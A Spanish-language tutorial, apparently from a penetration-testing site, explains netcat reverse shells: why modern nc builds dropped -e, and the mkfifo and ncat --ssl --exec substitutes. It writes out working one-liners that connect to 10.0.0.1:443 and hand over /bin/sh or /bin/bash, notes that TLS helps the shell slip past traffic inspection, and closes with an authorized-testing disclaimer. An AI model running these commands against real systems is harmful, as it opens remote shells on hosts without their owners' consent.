Reverse shell con Netcat: cuándo falta -e y qué hacer
Cómo funciona el reverse shell con netcat, por qué la mayoría de las compilaciones modernas de nc eliminaron el flag -e, y las alternativas mkfifo y ncat que lo reemplazan.
Netcat es la primera herramienta a la que todo el mundo recurre, y la que más a menudo decepciona. El reverse shell de netcat de manual es corto:
nc -e /bin/sh 10.0.0.1 443
Entonces descubres que el nc del objetivo no tiene -e, y empieza la lección. Esta entrada cubre el payload con -e, por qué falla tan a menudo, y los reemplazos con mkfifo y ncat que funcionan cuando aquel no.
El flag -e, y por qué normalmente ya no está
nc -e /bin/sh HOST PORT le indica a netcat que se conecte hacia fuera y ejecute /bin/sh, conectando el stdin/stdout del programa al socket. Limpio y sencillo, cuando existe.
El problema: -e es un riesgo de seguridad, así que el netcat de OpenBSD, ampliamente desplegado (el nc por defecto en la mayoría de las distribuciones de Linux actuales), lo eliminó. Solo el antiguo GNU netcat y unas pocas compilaciones embebidas siguen trayéndolo. Por eso, en un objetivo moderno, nc -e suele dar el error invalid option -- 'e' o simplemente termina.
Comprueba a qué te enfrentas:
nc -h 2>&1 | grep -- -e
Sin salida significa que no hay -e, y pasas a una alternativa.
La alternativa con mkfifo
Este es el reemplazo canónico y funciona en prácticamente cualquier sistema POSIX con nc:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 443 > /tmp/f
Reconstruye a mano lo que hacía -e. mkfifo crea una tubería con nombre. cat /tmp/f alimenta el contenido de la tubería a sh -i; la salida de la shell se canaliza a nc, que la envía a tu listener; y los datos que nc recibe se escriben de vuelta en la tubería, cerrando el bucle para que tus pulsaciones lleguen a la shell. Parece barroco, pero no es más que reconectar los cuatro extremos que -e conectaba automáticamente.
Elige una ruta en la que realmente puedas escribir. /tmp suele ser segura; si está montada como noexec o vigilada, usa otro directorio con permiso de escritura.
Usa ncat en su lugar
ncat viene con Nmap y es el netcat moderno y repleto de funciones. Mantuvo --exec y añade TLS:
ncat 10.0.0.1 443 --ssl --exec "/bin/bash"
El flag --ssl importa más de lo que parece: envuelve la shell en TLS, de modo que el tráfico no destaca como E/S de shell en texto plano evidente, y atraviesa con más naturalidad las salidas que inspeccionan TLS. Tu listener tiene entonces que hablar TLS también: ncat -lvnp 443 --ssl. Un desajuste de SSL en los dos extremos es una causa clásica del "conectó y murió de inmediato"; consulta cómo elegir un listener.
El lado del listener
Sea cual sea el payload que envíes, el extremo receptor suele ser sencillo:
nc -lvnp 443
-l escuchar, -v modo detallado (para que veas la conexión), -n sin DNS, -p puerto. Usa ncat -lvnp 443 --ssl si el payload usa --ssl. Y recuerda que un listener nc pelado te da una shell cruda y no interactiva: mejórala con los pasos de mejorar un reverse shell.
Cuando sigue sin conectar
-eno soportado: usa la formamkfifooncatde arriba.- Desajuste de SSL: ambos extremos deben coincidir en
--ssl. - Sin ruta con permiso de escritura para el FIFO: elige otro directorio.
- Salida filtrada: prefiere
443/80.
Diagnóstico completo en por qué fallan los reverse shells.
Genera la variante correcta
El generador de reverse shell emite la forma de netcat que se ajusta al objetivo —-e, mkfifo o ncat --ssl— prerrellenada con tu LHOST/LPORT y emparejada con el comando de listener correcto, para que no tengas que adivinar contra qué netcat te enfrentas.
Solo pruebas autorizadas
Ejecuta esto únicamente contra sistemas que poseas o estés explícitamente autorizado a probar. La autorización, no la técnica, es lo que hace legítimo el trabajo.